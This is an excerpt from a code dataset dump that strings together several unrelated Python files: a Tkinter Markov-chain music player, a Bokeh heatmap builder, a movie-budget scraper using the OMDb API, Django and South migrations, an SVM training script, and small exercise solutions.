previous note\n glob_po.wait_done()\n\n\ndef play_notes(frequence, duration):\n \"\"\"\n Create the sound of each notes based on its frequency and its duration using the function play_note\n :param int frequence: frequency in Hertz\n :param int duration: list of duration of notes, e.g. [2,16] for 1 croche and 1 ronde\n :return None, drive the audio output\n effect on the program: sound of notes played\n \"\"\"\n for i in range(len(frequence)):\n play_note(frequence[i], duration[i])\n\n\n# General usage functions\n\ndef exists_title(title):\n \"\"\"\n Detects if a title already exists in the collection\n :param str title: title of the searched song\n :return if the title given in parameter already exists\n :rtype boolean\n effect on the program: the function will tell to addition_if_needed if a new title need to appear\n \"\"\"\n for song in glob_collection:\n if title == song[0]:\n return True\n return False\n\n\ndef addition_if_needed(song):\n \"\"\"\n Detect a new song and add it in the collection, add its title in the listbox and place the cursor on it\n :param tuple song: song containing (title, partition)\n :return None, directly add the song to glob_collection\n effect on the program: update the list of songs and override text file with the updated collection\n \"\"\"\n global glob_collection, glob_lbsong\n (title, part) = song\n if exists_title(title) == False:\n glob_collection.append(song)\n glob_lbsong.insert(tk.END, title) # tk.END is a defined constant that we add at the end of a list\n glob_lbsong.select_clear(0, tk.END) # to deselect all\n glob_lbsong.select_set(tk.END) # to select the title of the song going on\n glob_lbsong.see(tk.END) # to bring the scroll bar on the selected title\n write_collection(\"partitions.txt\") # to add the song to the collection\n\n\ndef file_reading(file_name):\n \"\"\"\n Create a collection of songs by reading by pairs of lines the file\n :param str file_name: name of the file that has to be read\n :return collection: collection of the songs contained in the file\n :rtype list\n effect on the program: create a collection of songs [(title1, partition1),(title2, partition2),...]\n \"\"\"\n collection = []\n file = open(file_name, \"r\", encoding=\"utf-8\") # indicate \"r\"ead only\n line1 = file.readline()\n # https://qastack.fr/programming/5843518/remove-all-special-characters-punctuation-and-spaces-from-string\n line1 = re.sub('[^A-Za-z0-9 èéêâ?!#\\'\\-]+', '',\n line1) # + means it replace special characters present at least once\n line2 = file.readline()\n line2 = re.sub('[^A-Za-z0-9 ]+', '', line2)\n while line2 != \"\": # to avoid end of lines and end of files, specific for Mac\n collection.append((line1,\n line2)) # the last character of the line is a carriage return. /!\\ carriage return has a different coding on Windows and on Mac\n line1 = file.readline()\n line1 = re.sub('[^A-Za-z0-9 èéêâ?!#\\'\\-]+', '', line1)\n line2 = file.readline()\n line2 = re.sub('[^A-Za-z0-9 ]+', '', line2)\n file.close()\n return collection\n\n\ndef write_collection(file_name):\n \"\"\"\n Create a text file with the collection of songs by writing pairs of lines\n :param str file_name: name of the file that has to be written\n :return None, create and write in a text file\n effect on the program: override the file containing collection of songs\n \"\"\"\n global glob_collection\n file = open(file_name, 'w', encoding=\"utf-8\") # 'w' open for writing\n for song in glob_collection:\n (title, part) = song\n file.write(title + \"\\n\")\n file.write(part + \"\\n\")\n file.close()\n\n\ndef title_creation(title_current_song, inv, tr):\n \"\"\"\n Create a title for a new song based on the title of the current song and transformation applied\n :param str title_current_song: title of the current song\n :param int inv: ticked box or not, e.g. 1 if ticked\n :param int tr: value of the transposition, e.g. -2 to down transposed of two half tones\n :return res: the new title\n :rtype str\n effect on the program: new songs have a fitting title\n \"\"\"\n res = title_current_song\n if inv == 1:\n res += \" reverse\"\n if tr != 0:\n res += \" transposed of \" + str(tr)\n return res\n\n\ndef set_croche_duration(duration):\n \"\"\"\n Set the croche duration in seconds based on a string giving the number of ms\n :param str duration: duration of a note in ms\n :return None, directly set the global variable glob_croche_duration\n effect on the program: give the speed of the song, e.g. 250 is two times slower than 125\n \"\"\"\n global glob_croche_duration\n # https://stackoverflow.com/questions/1265665/how-can-i-check-if-a-string-represents-an-int-without-using-try-except\n if duration.isdigit():\n dur = float(duration)\n if 0 < dur < 4000:\n glob_croche_duration = dur / 1000 # to convert seconds in ms\n\n\n# Functions to be called by graphical interface\n\ndef markov_chain_v1():\n \"\"\"\n Creation of a new musical rhythm using Markov chain version 1 based on the full collection\n glob_collection will be used as input (all songs) and output (one song added)\n :return None, to be used by Tkinter menu\n effect on the program: create a new song, add to the text file, add to the listbox\n \"\"\"\n nc = creation_partition_v1(glob_collection)\n dc = creation_duree_v1(glob_collection)\n title = \"#\" + str(len(glob_collection)) + \" New musical rhythm of Markov1\"\n markov_song_v1 = (title, noteduree_to_partition(nc, dc))\n addition_if_needed(markov_song_v1)\n\n\ndef markov_chain_v2():\n \"\"\"\n Creation of a new musical rhythm using Markov chain version 2 based on the full collection\n glob_collection will be used as input (all songs) and output (one song added)\n :return None, to be used by Tkinter menu\n effect on the program: create a new song, add to the text file, add to the listbox\n \"\"\"\n nc = creation_partition_v2(glob_collection)\n dc = creation_duree_v2(glob_collection)\n title = \"#\" + str(len(glob_collection)) + \" New musical rhythm of Markov2\"\n markov_song_v2 = (title, noteduree_to_partition(nc, dc))\n addition_if_needed(markov_song_v2)\n\n\ndef play_song():\n \"\"\"\n Create and play the sound of the song currently selected in the list box\n :return None, drive the audio output\n effect on the program: sound of the song played\n \"\"\"\n song_num = glob_lbsong.curselection()[0]\n partition = glob_collection[song_num][1]\n (n, d) = partition_to_noteduree(partition)\n tr = int(glob_transpo.get())\n n = transposition(n, tr)\n\n inv = int(glob_inv.get())\n if inv == 1:\n n = inversion(n)\n\n title_current_song = glob_collection[song_num][0]\n addition_if_needed((title_creation(title_current_song, inv, tr), noteduree_to_partition(n, d)))\n\n set_croche_duration(glob_croche_dur_sv.get())\n\n f = frequences(n)\n play_notes(f, d)\n\n\n# Graphical interface functions using Tkinter\n\ndef setting_songs_list():\n \"\"\"\n Display the list of songs on the screen using the collection\n :return None, drive on the graphic interface\n effect on the program: full fill the listbox with all the titles\n \"\"\"\n global glob_lbsong\n lb = tk.Listbox(glob_root, width=40, height=6,\n selectmode=tk.SINGLE)\n for element in glob_collection:\n (title, part) = element\n lb.insert(tk.END, title) # tk.END is a defined constant that is added at the end of a list\n lb.select_set(0) # set the default value\n lb.grid(row=0, column=0, rowspan=3)\n glob_lbsong = lb\n\n\ndef transformation_settings():\n \"\"\"\n Setting up a cell to enter the value of the transposition, a box to ticked for an inversion,\n a cell to enter the value of the duration of a croche and a button to trigger play\n :return None, set up the graphic interface\n effect on the program: set the graphic interface to transform the play of a partition\n \"\"\"\n global glob_root, glob_transpo\n # transposition\n le = tk.Label(text=\"transposition\")\n le.grid(row=1, column=2, sticky=tk.W)\n e = tk.Entry(width=3, textvariable=glob_transpo)\n e.grid(row=1, column=1, sticky=tk.E)\n glob_transpo.set('0')\n\n # inversion\n cb = tk.Checkbutton(text=\"inversion\", variable=glob_inv)\n cb.grid(row=2, column=1, columnspan=2)\n glob_inv.set('0')\n\n # croche duration\n cd = tk.Label(text=\"croche duration in ms\")\n cd.grid(row=0, column=2, sticky=tk.W)\n d = tk.Entry(width=5, textvariable=glob_croche_dur_sv)\n d.grid(row=0, column=1, sticky=tk.E)\n glob_croche_dur_sv.set('125')\n\n # play\n bplay = tk.Button(text=\"Play\", command=play_song)\n bplay.grid(row=1, column=3)\n\n\ndef menus_settings():\n \"\"\"\n Setting up the menus to choose to use the Markov chains, to test the loudspeakers and to use different instruments\n :return None, set up the graphic interface\n effect on the program: set the graphic interface regarding top bar menus\n \"\"\"\n global glob_root\n glob_root.title(\"Capucine and Emma\")\n menu_bar = tk.Menu(glob_root)\n glob_root.config(menu=menu_bar)\n\n menu_markov = tk.Menu(menu_bar)\n menu_markov.add_command(label=\"Version 1\", command=markov_chain_v1)\n menu_markov.add_command(label=\"Version 2\", command=markov_chain_v2)\n menu_bar.add_cascade(label=\"Markov chains\", menu=menu_markov)\n\n menu_avance = tk.Menu(menu_bar)\n menu_avance.add_command(label=\"Sound test loudspeakers\", command=sound_test_loudspeakers)\n menu_avance.add_command(label=\"Sound test superposition\", command=sound_test_superposition)\n menu_avance.add_separator()\n menu_avance.add_radiobutton(label=\"Instrument: sinus\", var=glob_instrum, value=\"Sinus\")\n menu_avance.add_radiobutton(label=\"Instrument: rectangles\", var=glob_instrum, value=\"Rectangles\")\n menu_avance.add_radiobutton(label=\"Instrument: organ\", var=glob_instrum, value=\"Organ\")\n menu_avance.add_radiobutton(label=\"Instrument: UFO\", var=glob_instrum, value=\"UFO\")\n glob_instrum.set(\"Sinus\") # set the default value\n menu_bar.add_cascade(label=\"Advanced\", menu=menu_avance)\n\n\ndef canvas_settings():\n \"\"\"\n Define two Canvas to have an area dedicated to the drawings\n :return None, set up the graphic interface\n impact of the program: signals could be draw in these two areas\n \"\"\"\n global glob_canvas1, glob_canvas2\n glob_canvas1 = Canvas(width=600, height=50)\n glob_canvas2 = Canvas(width=600, height=300)\n glob_canvas1.grid(row=3, column=0, columnspan=4)\n glob_canvas2.grid(row=4, column=0, columnspan=4)\n\n\ndef drawing1(signal):\n \"\"\"\n Draw the general signal of a note on a coordinate system\n :param np.array signal: signal of a note between -1 and 1\n :return None, drive on the graphic interface\n effect on the program: display a drawing of the signal attitude during the first 600ms\n \"\"\"\n glob_canvas1.delete(\"all\")\n # horizontal axis\n glob_canvas1.create_line(0, 27, 600, 27, width=1, fill=\"red\")\n glob_canvas1.create_line(600, 27, 590, 22, width=1, fill=\"red\")\n glob_canvas1.create_line(600, 27, 590, 32, width=1, fill=\"red\")\n for i in range(1, 10):\n t = i / 10\n horizontal = int(t * 1000)\n glob_canvas1.create_line(horizontal, 23, horizontal, 31, width=1, fill=\"red\")\n legend = \"{0}s\".format(t)\n glob_canvas1.create_text(horizontal, 36, text=legend, fill=\"black\")\n\n # vertical axis\n glob_canvas1.create_line(0, 27, 600, 27, width=1, fill=\"red\")\n glob_canvas1.create_line(600, 27, 590, 22, width=1, fill=\"red\")\n glob_canvas1.create_line(600, 27, 590, 32, width=1, fill=\"red\")\n for i in range(1, 10):\n t = i / 10\n horizontal = int(t * 1000)\n glob_canvas1.create_line(horizontal, 23, horizontal, 31, width=1, fill=\"red\")\n legend = \"{0}s\".format(t)\n glob_canvas1.create_text(horizontal, 36, text=legend, fill=\"black\")\n\n y = signal[0]\n vertical_pre = 24 * (1 - y) + 3\n for h in range(1, 600):\n t = h / 1000\n ind = int(t * sample_rate)\n if ind >= len(signal):\n break # stop drawing if the signal finish before 0.6s\n y = signal[ind]\n vertical = 24 * (1 - y) + 3\n glob_canvas1.create_line(h - 1, vertical_pre, h, vertical, width=1, fill=\"blue\")\n vertical_pre = vertical\n glob_canvas1.update() # useful for PC ??\n\ndef drawing2(signal):\n \"\"\"\n Draw the signal of the beginning of a note on a coordinate system\n :param np.array signal: signal of a note between -1 and 1\n :return None, drive on the graphic interface\n effect on the program: display a drawing of the beginning of signal\n on the horizontal axis, 1 pixel corresponds to 1/glob_sample_rate seconds\n \"\"\"\n glob_canvas2.delete(\"all\")\n # horizontal axis\n glob_canvas2.create_line(0, 152, 600, 152, width=1, fill=\"red\")\n glob_canvas2.create_line(600, 152, 590, 142, width=1, fill=\"red\")\n glob_canvas2.create_line(600, 152, 590, 162, width=1, fill=\"red\")\n for i in range(1, 100):\n t = i / 100\n horizontal = int(t * sample_rate)\n glob_canvas2.create_line(horizontal + 9, 148, horizontal + 9, 156, width=1, fill=\"red\")\n legend = \"{0}s\".format(t)\n glob_canvas2.create_text(horizontal + 9, 161, text=legend, fill=\"black\")\n\n # vertical axis\n glob_canvas2.create_line(9, 5, 9, 300, width=1, fill=\"red\")\n glob_canvas2.create_line(9, 5, 14, 10, width=1, fill=\"red\")\n glob_canvas2.create_line(9, 5, 4, 10, width=1, fill=\"red\")\n for i in range(-4, 4):\n y = i / 4\n vertical = 149 * (1 - y) + 3\n glob_canvas2.create_line(4, vertical, 14, vertical, width=1, fill=\"red\")\n legend = \"{0}\".format(y)\n glob_canvas2.create_text(24, vertical, text=legend, fill=\"black\")\n\n y = signal[0]\n vertical_pre = 149 * (1 - y) + 3\n last_i = min(len(signal), 600)\n for i in range(1, last_i):\n y = signal[i]\n vertical = 149 * (1 - y) + 3\n glob_canvas2.create_line(i - 1 + 9, vertical_pre, i + 9, vertical, width=1, fill=\"blue\")\n vertical_pre = vertical\n glob_canvas2.update() # useful on PC ??\n\n\ndef draw(signal):\n \"\"\"\n Draw the signal on two Canvas\n :param np.array signal: signal of a note between -1 and 1\n :return None, drive on the graphic interface\n effect on the program: display the signal on two drawings with different horizontal axis scale\n \"\"\"\n drawing1(signal)\n drawing2(signal)\n\n\ntransformation_settings()\nmenus_settings()\nglob_collection = file_reading(\"partitions.txt\")\nsetting_songs_list()\ncanvas_settings()\nglob_root.mainloop()\nglob_root.quit()\n","sub_path":"principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":19263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"197318978","text":"\"\"\"This is the Bokeh charts interface. It gives you a high level API to build\ncomplex plot is a simple way.\n\nThis is the HeatMap class which lets you build your HeatMap charts just passing\nthe arguments to the Chart class and calling the proper functions.\n\"\"\"\n#-----------------------------------------------------------------------------\n# Copyright (c) 2012 - 2014, Continuum Analytics, Inc. All rights reserved.\n#\n# Powered by the Bokeh Development Team.\n#\n# The full license is in the file LICENCE.txt, distributed with this software.\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# Imports\n#-----------------------------------------------------------------------------\nfrom __future__ import print_function, division\n\nfrom ._builder import Builder, create_and_build\nfrom ._data_adapter import DataAdapter\nfrom ..models import ColumnDataSource, FactorRange, GlyphRenderer, HoverTool\nfrom ..models.glyphs import Rect\n\n#-----------------------------------------------------------------------------\n# Classes and functions\n#-----------------------------------------------------------------------------\n\n\ndef HeatMap(values, xscale=\"categorical\", yscale=\"categorical\",\n xgrid=False, ygrid=False, **kw):\n chart = create_and_build(\n HeatMapBuilder, values, xscale=xscale, yscale=yscale,\n xgrid=xgrid, ygrid=ygrid, **kw\n )\n chart.add_tools(HoverTool(tooltips=[(\"value\", \"@rate\")]))\n return chart\n\nclass HeatMapBuilder(Builder):\n \"\"\"This is the HeatMap class and it is in charge of plotting\n HeatMap chart in an easy and intuitive way.\n\n Essentially, it provides a way to ingest the data, make the proper\n calculations and push the references into a source object.\n We additionally make calculations for the ranges.\n And finally add the needed glyphs (rects) taking the references\n from the source.\n\n Examples:\n from collections import OrderedDict\n from bokeh.charts import HeatMap\n\n xyvalues = OrderedDict()\n xyvalues['apples'] = [4,5,8]\n xyvalues['bananas'] = [1,2,4]\n xyvalues['pears'] = [6,5,4]\n hm = HeatMap(xyvalues, title=\"categorical heatmap\", filename=\"cat_heatmap.html\")\n hm.show()\n \"\"\"\n\n def __init__(self, values, legend=False, palette=None, **kws):\n \"\"\"\n Args:\n values (iterable 2d): iterable 2d representing the data series matrix.\n palette(list, optional): a list containing the colormap as hex values.\n legend (str, optional): the legend of your plot. The legend content is\n inferred from incoming input.It can be ``top_left``,\n ``top_right``, ``bottom_left``, ``bottom_right``.\n It is ``top_right`` is you set it as True.\n Defaults to None.\n palette(list, optional): a list containing the colormap as\n hex values.\n\n Attributes:\n source (obj): datasource object for your plot,\n initialized as a dummy None.\n x_range (obj): x-associated datarange object for you plot,\n initialized as a dummy None.\n y_range (obj): y-associated datarange object for you plot,\n initialized as a dummy None.\n groups (list): to be filled with the incoming groups of data.\n Useful for legend construction.\n data (dict): to be filled with the incoming data and be passed\n to the ColumnDataSource in each chart inherited class.\n Needed for _set_And_get method.\n attr (list): to be filled with the new attributes created after\n loading the data dict.\n Needed for _set_And_get method.\n \"\"\"\n if not palette:\n palette = [\"#75968f\", \"#a5bab7\", \"#c9d9d3\", \"#e2e2e2\", \"#dfccce\",\n \"#ddb7b1\", \"#cc7878\", \"#933b41\", \"#550b1d\"]\n super(HeatMapBuilder, self).__init__(values, legend=legend, palette=palette)\n\n\n def get_data(self):\n \"\"\"Take the CategoricalHeatMap data from the input **value.\n\n It calculates the chart properties accordingly. Then build a dict\n containing references to all the calculated points to be used by\n the rect glyph inside the ``draw`` method.\n\n \"\"\"\n self.catsx = list(self.values.columns)\n self.catsy = list(self.values.index)\n\n # Set up the data for plotting. We will need to have values for every\n # pair of year/month names. Map the rate to a color.\n catx = []\n caty = []\n color = []\n rate = []\n for y in self.catsy:\n for m in self.catsx:\n catx.append(m)\n caty.append(y)\n rate.append(self.values[m][y])\n\n # Now that we have the min and max rates\n factor = len(self._palette) - 1\n den = max(rate) - min(rate)\n for y in self.catsy:\n for m in self.catsx:\n c = int(round(factor*(self.values[m][y] - min(rate)) / den))\n color.append(self._palette[c])\n\n width = [0.95] * len(catx)\n height = [0.95] * len(catx)\n\n self.data = dict(catx=catx, caty=caty, color=color, rate=rate,\n width=width, height=height)\n\n def get_source(self):\n \"\"\"Push the CategoricalHeatMap data into the ColumnDataSource\n and calculate the proper ranges.\n \"\"\"\n self.source = ColumnDataSource(self.data)\n self.x_range = FactorRange(factors=self.catsx)\n self.y_range = FactorRange(factors=self.catsy)\n\n def draw(self):\n \"\"\"Use the rect glyphs to display the categorical heatmap.\n\n Takes reference points from data loaded at the ColumnDataSurce.\n \"\"\"\n glyph = Rect(\n x=\"catx\", y=\"caty\",\n width=\"width\", height=\"height\",\n fill_color=\"color\", fill_alpha=0.7,\n line_color=\"white\"\n )\n renderer = GlyphRenderer(data_source=self.source, glyph=glyph)\n # TODO: Legend??\n yield renderer\n\n def prepare_values(self):\n \"\"\"Prepare the input data.\n\n Converts data input (self.values) to a DataAdapter\n \"\"\"\n self.values = DataAdapter(self.values, force_alias=True)","sub_path":"bokeh/charts/catheatmap.py","file_name":"catheatmap.py","file_ext":"py","file_size_in_byte":6348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"5026215","text":"#import urllib2\nimport json\nfrom bs4 import BeautifulSoup\nimport csv\nimport requests\nimport itertools\nfrom multiprocessing import Pool, Manager\n#output = open(\"/Users/WeiXing/Desktop/movies_budget.txt\", \"w\")\n\n#url = \"http://www.the-numbers.com/movie/budgets/all\"\n\n#page = urllib2.urlopen(url)\ndata = list()\n#titles = list()\nnewData = list()\nmanager = Manager()\nmovieMap = manager.dict()\ntitlesLength = dict()\ntitlesContent = dict()\ngenres = list()\ndef generateCSVData(year):\n tmpTitles = []\n for row in table.findAll(\"tr\")[1:]:\n tmpArr = []\n cells = row.findAll(\"td\")\n if(not cells):\n continue\n \n release_date = cells[1].findAll(text=True)[0].encode(\"utf-8\")\n\n if(year is not None and int(release_date.split(\"/\")[2]) != year):\n continue\n\n title = cells[2].findAll(text=True)[0].encode(\"utf-8\")\n budget = cells[3].findAll(text=True)[0].encode(\"utf-8\")\n domestic_gross = cells[4].findAll(text=True)[0].encode(\"utf-8\")\n worldwide_gross = cells[5].findAll(text=True)[0].encode(\"utf-8\")\n\n tmpArr.append(title)\n tmpArr.append(release_date)\n tmpArr.append(budget)\n tmpArr.append(domestic_gross)\n tmpArr.append(worldwide_gross)\n \n #titles.append(title)\n tmpTitles.append(title)\n data.append(tmpArr)\n\n return tmpTitles\n\n\ndef apiCall(title):\n #call api to get supplementary information about the movie\n tmpArr = []\n extra_fields = [\"Genre\", \"Director\", \"Awards\", \"imdbRating\"]\n url = \"http://www.omdbapi.com/?t=\"+title+\"&y=&plot=short&r=json\"\n response = requests.get(url).text\n respDict = json.loads(response)\n if(\"Error\" in respDict):\n print(respDict[\"Error\"])\n for field in extra_fields:\n tmpArr.append(\"None\")\n else:\n for field in extra_fields:\n tmpArr.append(respDict[field].encode(\"utf-8\"))\n movieMap[title] = tmpArr\n\ndef writeToCSV(year):\n #perform data join between info from the html table and the info returned from the api call\n for record in data:\n title = record[0]\n extraInfo = movieMap[title]\n if(extraInfo[3] == \"None\" or extraInfo[3] == \"N/A\"):\n continue\n tokens = extraInfo[0].split(\",\")\n for token in tokens:\n if(token.strip() not in genres):\n genres.append(token.strip())\n newData.append(record+extraInfo)\n\n csvHeader = [\"Title\", \"Release Date\", \"Budget\", \"Domestic Gross\", \"Worldwide Gross\", \"Genre\", \"Director\", \"Awards\", \"imdbRating\"]\n if year is not None:\n with open(\"/Users/WeiXing/Projects/Info5100Project3/movie_budgets/movie_budget_\"+str(year)+\".csv\", \"w\") as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(csvHeader)\n csvwriter.writerows(newData)\n else:\n with open(\"/Users/WeiXing/Projects/Info5100Project3/movie_budgets/movie_budget_all.csv\", \"w\") as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(csvHeader)\n csvwriter.writerows(newData)\n\ndef generateAll():\n for year in range(2010, 2016):\n tmpTitles = generateCSVData(year)\n print(\"The length is \"+str(len(tmpTitles)))\n p = Pool(len(tmpTitles))\n p.map(apiCall, tmpTitles)\n p.terminate()\n \n writeToCSV(None)\n\n\nif __name__ == '__main__':\n input = open(\"/Users/WeiXing/Projects/Info5100Project3/movie_budgets.html\", \"r\")\n soup = BeautifulSoup(input)\n\n table = soup.find(\"table\", { \"id\": \"budgets\" })\n #generate csv file for each year respectively\n '''\n for year in range(2010, 2016):\n tmpTitles = generateCSVData(year)\n print(\"The length of titles list is \"+str(len(tmpTitles)))\n p = Pool(len(tmpTitles))\n p.map(apiCall, tmpTitles)\n writeToCSV(year)\n '''\n #generate one csv file containing all the movie records\n generateAll()\n print(genres)\n\n\n\n \n\n\n\n\n\n\n\n\n \n\n ","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"458107215","text":"\n\nfrom xai.brain.wordbase.adjectives._wacky import _WACKY\n\n#calss header\nclass _WACKIER(_WACKY, ):\n\tdef __init__(self,): \n\t\t_WACKY.__init__(self)\n\t\tself.name = \"WACKIER\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"wacky\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_wackier.py","file_name":"_wackier.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"199635247","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Challenges of Python from HackerRank.\n\nThis is a basic python challenge specified by `HackerRank`_.\n\n.. _HackerRank:\n https://www.hackerrank.com/challenges/itertools-permutations\n\"\"\"\n\nfrom itertools import permutations\n\ndef main():\n \"\"\"The main routine.\"\"\"\n string, number = input().strip().split()\n\n for element in sorted(list(permutations(list(string), int(number)))):\n print(\"\".join(element))\n\nif __name__ == '__main__':\n main()\n","sub_path":"hackerrank/practice/python/itertools/itertools_permutations.py","file_name":"itertools_permutations.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"147179353","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('custom_users', '0001_initial'),\n ('interests', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=30)),\n ('subtitle', models.CharField(max_length=50)),\n ('description', models.CharField(max_length=250)),\n ('location', django.contrib.gis.db.models.fields.PointField(srid=4326, null=True, blank=True)),\n ('beggining', models.DateTimeField()),\n ('end', models.DateTimeField(null=True, blank=True)),\n ('cost', models.IntegerField(null=True, blank=True)),\n ('type', models.CharField(max_length=10, choices=[(b'PRIV', b'Private'), (b'PUB', b'Public')])),\n ('min_people', models.IntegerField()),\n ('max_people', models.IntegerField(null=True, blank=True)),\n ('attending', models.ManyToManyField(related_name='event_attending', to='custom_users.CustomUser', blank=True)),\n ('host', models.ForeignKey(related_name='event_host', to='custom_users.CustomUser')),\n ('interest', models.ForeignKey(to='interests.Interest')),\n ],\n options={\n 'verbose_name': 'event',\n 'verbose_name_plural': 'events',\n },\n ),\n ]\n","sub_path":"events/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"481812077","text":"import numpy as np\nimport data_proc\nfrom sklearn.svm import SVC \nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.externals import joblib\n\n'''use sgd with hinge loss to do svm on large data'''\n\ndef svm_train():\n\n\tmodel = SVC(verbose=True)\n\ttrain_iterators=data_proc.generator_from_path_group(\"marketing_data/m0000/\", file_set = [2,3,4],svm=True)\n\tfor i, (X_train, Y_train) in enumerate(train_iterators):\n\t\tmodel.fit(X_train,Y_train)\n\t\tjoblib.dump(model, \"svm1.m\")\n\t\n\tclf = joblib.load(\"svm1.m\")\n\ttest_iterators=data_proc.generator_from_path_group(\"marketing_data/m0000/\", file_set = [9],svm=True)\n\tfor i, (X_test, Y_test) in enumerate(test_iterators):\n\t\tY_pred = clf.predict(X_test)\n\t\tprint(accuracy_score(Y_test, Y_pred))\n\ndef svm_predict(X_test):\n\tclf = joblib.load(\"svm.m\")\n\tres = clf.predict(X_test)\n\treturn np.reshape(res,(res.shape[0],1))\n\ndef svm_sgd():\n\tsgd_clf = SGDClassifier(loss=\"hinge\", penalty=\"l2\")\n\tminibatch_train_iterators = data_proc.generator_from_path_group(\"marketing_data/m0000/\", file_set = [1,2,3,4,5,6],sgd=True)\n\n\tfor i, (X_train, y_train) in enumerate(minibatch_train_iterators):\n\t sgd_clf.partial_fit(X_train, y_train, classes=np.array([0, 1]))\n\t print(\"{} time\".format(i)) \n\t #print(\"{} score\".format(sgd_clf.score(X_test, y_test))) \n\tjoblib.dump(sgd_clf, \"svm.m\")\n\n\tclf = joblib.load(\"svm.m\")\n\ttest_iterators = data_proc.generator_from_path_group(\"marketing_data/m0000/\", file_set = [7,8],test=True)\n\tfor i, (X_test, y_test) in enumerate(test_iterators):\n\t\tY_pred = clf.predict(X_test)\n\t\tprint(accuracy_score(y_test, Y_pred))\n\n\n\nif __name__=='__main__':\n\t'''\n\tx_train,y_train,x_test,y_test = data_proc.load_data_grouped('TK_m0000[s20170404 00205000_e20170414 00153000]20170410_1755_46.csv')\n\tsvm_train(x_train,y_train,x_test,y_test)\n\t'''\n\t#svm_sgd()\n\tsvm_train()","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"515154326","text":"def is_anagram(str1, str2):\n if len(str1) != len(str2):\n return False\n char_map = {}\n\n for char in str1:\n char_map[char] = char_map[char] + 1 if char in char_map else 1\n\n for char in str2:\n if char_map.get(char) is not None and char_map[char] > 0:\n char_map[char] -= 1\n else:\n return False\n return True\n\n\nprint(is_anagram(\"READ\", \"DEAR\"))\nprint(is_anagram(\"CAST\", \"TASK\"))\n\n\ndef anagram(s1, s2):\n if len(s1) != len(s2):\n return False\n c = [0] * 255\n for ch in s1:\n c[ord(ch)] += 1\n for ch in s2:\n if c[ord(ch)] == 0:\n return False\n c[ord(ch)] -= 1\n\n for i in c:\n if i != 0:\n return False\n return True\n\nprint(anagram('read', 'dear'))\n","sub_path":"Interview Questions/Misc/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"282757675","text":"# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\nclass Migration(SchemaMigration):\n\n def forwards(self, orm):\n # Deleting field 'SaltCommand.created'\n db.delete_column(u'main_saltcommand', 'created')\n\n # Deleting field 'SaltCommand.modified'\n db.delete_column(u'main_saltcommand', 'modified')\n\n # Adding field 'SaltCommand.order'\n db.add_column(u'main_saltcommand', 'order',\n self.gf('django.db.models.fields.PositiveIntegerField')(default=1, db_index=True),\n keep_default=False)\n\n\n def backwards(self, orm):\n # Adding field 'SaltCommand.created'\n db.add_column(u'main_saltcommand', 'created',\n self.gf('model_utils.fields.AutoCreatedField')(default=datetime.datetime.now),\n keep_default=False)\n\n # Adding field 'SaltCommand.modified'\n db.add_column(u'main_saltcommand', 'modified',\n self.gf('model_utils.fields.AutoLastModifiedField')(default=datetime.datetime.now),\n keep_default=False)\n\n # Deleting field 'SaltCommand.order'\n db.delete_column(u'main_saltcommand', 'order')\n\n\n models = {\n u'main.saltarg': {\n 'Meta': {'ordering': \"['order']\", 'object_name': 'SaltArg'},\n 'command': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['main.SaltCommand']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'order': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'}),\n 'value': ('django.db.models.fields.CharField', [], {'max_length': '256'})\n },\n u'main.saltcommand': {\n 'Meta': {'ordering': \"['order']\", 'object_name': 'SaltCommand'},\n 'description': ('django.db.models.fields.TextField', [], {}),\n 'hipchat_notification_msg': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'key': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '256'}),\n 'order': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'}),\n 'salt_function': ('django.db.models.fields.CharField', [], {'max_length': '256'}),\n 'salt_target': ('django.db.models.fields.CharField', [], {'max_length': '256'})\n }\n }\n\n complete_apps = 